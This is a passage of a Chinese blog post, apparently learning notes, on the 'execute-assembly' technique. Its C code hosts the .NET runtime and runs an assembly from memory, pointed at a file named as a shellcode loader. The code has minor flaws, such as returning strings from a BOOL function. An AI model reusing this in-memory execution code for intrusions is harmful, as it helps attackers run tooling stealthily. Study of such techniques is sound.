DUMMY_METHOD(Invoke);
// _MethodBase / _MethodInfo
DUMMY_METHOD(ToString);
DUMMY_METHOD(Equals);
DUMMY_METHOD(GetHashCode);
DUMMY_METHOD(GetType);
DUMMY_METHOD(MemberType);
DUMMY_METHOD(name);
DUMMY_METHOD(DeclaringType);
DUMMY_METHOD(ReflectedType);
DUMMY_METHOD(GetCustomAttributes);
DUMMY_METHOD(GetCustomAttributes_2);
DUMMY_METHOD(IsDefined);
DUMMY_METHOD(GetParameters);
DUMMY_METHOD(GetMethodImplementationFlags);
DUMMY_METHOD(MethodHandle);
DUMMY_METHOD(Attributes);
DUMMY_METHOD(CallingConvention);
DUMMY_METHOD(Invoke_2);
DUMMY_METHOD(IsPublic);
DUMMY_METHOD(IsPrivate);
DUMMY_METHOD(IsFamily);
DUMMY_METHOD(IsAssembly);
DUMMY_METHOD(IsFamilyAndAssembly);
DUMMY_METHOD(IsFamilyOrAssembly);
DUMMY_METHOD(IsStatic);
DUMMY_METHOD(IsFinal);
DUMMY_METHOD(IsVirtual);
DUMMY_METHOD(IsHideBySig);
DUMMY_METHOD(IsAbstract);
DUMMY_METHOD(IsSpecialName);
DUMMY_METHOD(IsConstructor);
// 关键: Invoke_3
HRESULT(STDMETHODCALLTYPE* Invoke_3)(IMethodInfo* This, VARIANT obj, SAFEARRAY* parameters, VARIANT* ret);
} MethodInfoVtbl;

struct _MethodInfo { MethodInfoVtbl* lpVtbl; };

#endif

inject.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
#include "clr.h"
#include <winhttp.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "oleaut32.lib")

#define SAFE_CLOSE(h) { if (h && h != INVALID_HANDLE_VALUE) { CloseHandle(h); h = NULL; } }
#define SAFE_RELEASE(p) { if (p) { (p)->lpVtbl->Release(p); (p) = NULL; } }

// =============================================================
// 全局变量
// =============================================================
HANDLE g_OrigninalStdOut = INVALID_HANDLE_VALUE;
HANDLE g_OrigninalStdErr = INVALID_HANDLE_VALUE;

// GUID 定义 (Pure C)
const GUID xCLSID_CLRMetaHost = { 0x9280188d, 0xe8e, 0x4867, { 0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde } };
const GUID xCLSID_CorRuntimeHost = { 0xcb2f6723, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } };
const GUID xIID_AppDomain = { 0x05F696DC, 0x2B29, 0x3663, { 0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13 } };
const GUID xIID_ICLRMetaHost = { 0xD332DB9E, 0xB9B3, 0x4125, { 0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16 } };
const GUID xIID_ICLRRuntimeInfo = { 0xBD39D1D2, 0xBA2F, 0x486a, { 0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91 } };
const GUID xIID_ICorRuntimeHost = { 0xcb2f6722, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } };


// ---------------------------------------------------------
// 线程函数:专门负责从管道中读取数据
// 符合 Windows API 线程签名: DWORD WINAPI Function(LPVOID)
// ---------------------------------------------------------
DWORD WINAPI PipeReaderThread(LPVOID lpParam)
{
// 1. 获取上下文
PipeContext* ctx = (PipeContext*)lpParam;

const int BUFSIZE = 4096;
char buffer[4096]; // 栈上的临时缓冲区
DWORD bytesRead = 0;
BOOL bSuccess = FALSE;

// 初始化输出
ctx->outputBuffer = NULL;
ctx->totalBytes = 0;

// 2. 循环读取
while (TRUE)
{
// 阻塞读取
bSuccess = ReadFile(ctx->hPipeRead, buffer, BUFSIZE, &bytesRead, NULL);

// 管道断开或无数据则退出
if (!bSuccess || bytesRead == 0) break;

// 3. 动态扩展内存 (模拟 string.append)
// 新大小 = 旧大小 + 本次读取大小 + 1 (为了最后的 \0)
char* newPtr = (char*)realloc(ctx->outputBuffer, ctx->totalBytes + bytesRead + 1);

if (newPtr == NULL) {
// 内存分配失败处理
break;
}

ctx->outputBuffer = newPtr;

// 4. 复制数据
// memcpy(目标位置, 源数据, 数据长度)
memcpy(ctx->outputBuffer + ctx->totalBytes, buffer, bytesRead);

ctx->totalBytes += bytesRead;

// 5. 加上 Null 结尾,方便把它当字符串打印
ctx->outputBuffer[ctx->totalBytes] = '\0';
}

return 0;
}



BOOL DotnetExecute(BUFFER Assembly, BUFFER Arguments)
{
// 变量定义
PICLRMetaHost pMetaHost = NULL;
PICLRRuntimeInfo pRuntimeInfo = NULL;
PICorRuntimeHost pCorRuntimeHost = NULL;
IUnknown* pAppDomainThunk = NULL;
IAppDomain* pAppDomain = NULL;
IAssembly* pAssembly = NULL;
IMethodInfo* pMethodInfo = NULL;

SAFEARRAY* pSafeArray = NULL;
SAFEARRAY* pMethodArgs = NULL;
SAFEARRAYBOUND RgsBound[1] = { 0 };
void* pData = NULL;

VARIANT vObj;
VARIANT vRet;
VARIANT vPsa;

// 初始化 VARIANT
VariantInit(&vObj);
VariantInit(&vRet);
VariantInit(&vPsa);

// 动态加载变量
HMODULE hMscoree = NULL;
CLRCreateInstanceFnPtr pfnCLRCreateInstance = NULL;


if (!Assembly.Buffer || !Assembly.Length) {
printf("[-] Invalid Assembly buffer.\n");
return FALSE;
}

printf("[*] Starting DotnetExecute (Pure C Mode)...\n");

// ==========================================
// 1. 创建匿名管道,重定向 StdOut/StdErr
// ==========================================
SECURITY_ATTRIBUTES saAttr;
HANDLE hPipeRead = NULL;
HANDLE hPipeWrite = NULL;
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE; // 允许句柄被继承/使用
saAttr.lpSecurityDescriptor = NULL;

if (!CreatePipe(&hPipeRead, &hPipeWrite, &saAttr, 0)) {
return "Error: CreatePipe failed\n";
}

// 保存原始 StdOut/StdErr
g_OrigninalStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
g_OrigninalStdErr = GetStdHandle(STD_ERROR_HANDLE);

// 重定向 StdOut/StdErr 到管道写入端
if (!SetStdHandle(STD_OUTPUT_HANDLE, hPipeWrite) || !SetStdHandle(STD_ERROR_HANDLE, hPipeWrite)) {
CloseHandle(hPipeRead);
CloseHandle(hPipeWrite);
return "Error: SetStdHandle failed\n";
}

// --- 准备上下文,创建线程 ---
PipeContext ctx;
ctx.hPipeRead = hPipeRead;
ctx.outputBuffer = NULL;
ctx.totalBytes = 0;
HANDLE hThread = CreateThread(
NULL, // 默认安全属性
0, // 默认堆栈大小
PipeReaderThread, // 线程函数
&ctx, // 传递结构体指针
0, // 立即启动
NULL // 不通过 ID
);

// ==========================================
// 2. 初始化 CLR 环境 (C 语言动态调用)
// ==========================================
HRESULT hr = S_OK;
hMscoree = LoadLibraryA("mscoree.dll");
if (!hMscoree) return FALSE;

// 获取 CLRCreateInstance: 这是入口函数
pfnCLRCreateInstance = (CLRCreateInstanceFnPtr)GetProcAddress(hMscoree, "CLRCreateInstance");
if (!pfnCLRCreateInstance) return FALSE;

// 调用 CLRCreateInstance
hr = pfnCLRCreateInstance(&xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (void**)&pMetaHost);
if (FAILED(hr)) return FALSE;

// 加载运行时
hr = pMetaHost->lpVtbl->GetRuntime(pMetaHost, L"v4.0.30319", &xIID_ICLRRuntimeInfo, (void**)&pRuntimeInfo);
if (FAILED(hr)) return FALSE;

hr = pRuntimeInfo->lpVtbl->GetInterface(pRuntimeInfo, &xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (void**)&pCorRuntimeHost);
if (FAILED(hr)) return FALSE;

// 启动 CLR
pCorRuntimeHost->lpVtbl->Start(pCorRuntimeHost);

// 获取 DefaultDomain
pCorRuntimeHost->lpVtbl->GetDefaultDomain(pCorRuntimeHost, (IUnknown**)&pAppDomainThunk);

// QueryInterface 获取 IAppDomain
pAppDomainThunk->lpVtbl->QueryInterface(pAppDomainThunk, &xIID_AppDomain, (void**)&pAppDomain);

// ==========================================
// 3. 加载 Assembly
// ==========================================
RgsBound[0].cElements = Assembly.Length;
RgsBound[0].lLbound = 0;
pSafeArray = SafeArrayCreate(VT_UI1, 1, RgsBound);

SafeArrayAccessData(pSafeArray, &pData);
memcpy(pData, Assembly.Buffer, Assembly.Length);
SafeArrayUnaccessData(pSafeArray);

// 调用 Load_3
hr = pAppDomain->lpVtbl->Load_3(pAppDomain, pSafeArray, &pAssembly);
if (FAILED(hr)) return FALSE;

// 获取 EntryPoint
hr = pAssembly->lpVtbl->EntryPoint(pAssembly, &pMethodInfo);
if (FAILED(hr)) return FALSE;

// ==========================================
// 4. 执行
// ==========================================
long idx = 0;
pMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);

vPsa.vt = (VT_ARRAY | VT_BSTR);
vPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, 0); // 空参数

SafeArrayPutElement(pMethodArgs, idx, &vPsa);

// 调用 Invoke_3
pMethodInfo->lpVtbl->Invoke_3(pMethodInfo, vObj, pMethodArgs, &vRet);

// 恢复原始 StdOut (必须在关闭 Write 句柄前恢复,否则 printf 可能异常)
SetStdHandle(STD_OUTPUT_HANDLE, g_OrigninalStdOut);
SetStdHandle(STD_ERROR_HANDLE, g_OrigninalStdErr);

// ==========================================
// 5.资源清理
// ==========================================
// // 关键步骤:恢复标准输出
if (g_OrigninalStdOut != INVALID_HANDLE_VALUE) SetStdHandle(STD_OUTPUT_HANDLE, g_OrigninalStdOut);
if (g_OrigninalStdErr != INVALID_HANDLE_VALUE) SetStdHandle(STD_ERROR_HANDLE, g_OrigninalStdErr);

SAFE_CLOSE(hPipeWrite);
SAFE_CLOSE(hThread);

// 打印或处理捕获的结果
if (ctx.outputBuffer) {
printf("\n[+] Captured Output:\n%s\n", ctx.outputBuffer);
free(ctx.outputBuffer);
}
else {
printf("[-] No output captured or execution failed.\n");
}

if (pSafeArray) SafeArrayDestroy(pSafeArray);
if (pMethodArgs) SafeArrayDestroy(pMethodArgs);

// COM 释放
SAFE_RELEASE(pMethodInfo);
SAFE_RELEASE(pAssembly);
SAFE_RELEASE(pAppDomain);
SAFE_RELEASE(pAppDomainThunk);
SAFE_RELEASE(pCorRuntimeHost);
SAFE_RELEASE(pRuntimeInfo);
SAFE_RELEASE(pMetaHost);

return TRUE;
}

int main()
{
// 配置:要加载的 .NET 程序路径 (请修改为你实际存在的路径)
const char* targetAssembly = "D:\\代码\\Vs2022\\TestForC#\\DotnetNoVirtualProtectShellcodeLoader\\bin\\x64\\Debug\\DotnetNoVirtualProtectShellcodeLoader.exe";

BUFFER assemblyBuffer = { 0 };
BUFFER argumentsBuffer = { 0 };

printf("[*] Reading assembly from: %s\n", targetAssembly);

// 1. 从磁盘读取文件到内存
HANDLE hFile = CreateFileA(targetAssembly, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Error: Could not open file. Error Code: %d\n", GetLastError());
return 1;
}

assemblyBuffer.Length = GetFileSize(hFile, NULL);
assemblyBuffer.Buffer = (unsigned char*)malloc(assemblyBuffer.Length);
DWORD lpNumberOfBytesRead = 0;
if (!ReadFile(hFile, assemblyBuffer.Buffer, assemblyBuffer.Length, &lpNumberOfBytesRead, NULL)) {
printf("[-] Error: Could not read file.\n");
CloseHandle(hFile);
return 1;
}
printf("[+] Assembly read into memory (%d bytes).\n", assemblyBuffer.Length);
CloseHandle(hFile);

if (!DotnetExecute(assemblyBuffer, argumentsBuffer)) {
printf("[-] DotnetExecute failed.\n");
}
return 0;
}

PixPin_2025-12-11_18-18-09.png

这是一篇简短的execute-assembly学习笔记,自我感觉本篇文章并没有完整地介绍清楚execute-assembly的原理,因为涉及到大量的com的知识,我也不是很了解,这个可以用ai去深入学习,肯定比我说的清楚。

既然提到了AI,就不得不感慨AI的发展越来越快,极大的改变了我的学习方式和工作方式,有什么问题和想法总是先问AI再不断改进的思路最终完成落地。

要说AI能否在某某领域替代人工,这我不好说,我只能肯定AI带来的惊喜取决于你对该领域知识的掌握程度,即你能给出多详细准确的提示词,能分辨AI给出的结果是否正确有用。

下一篇文章总结一下自己的学习历程。

Prev
2025-12-15 19:10:52 # 武器化
Next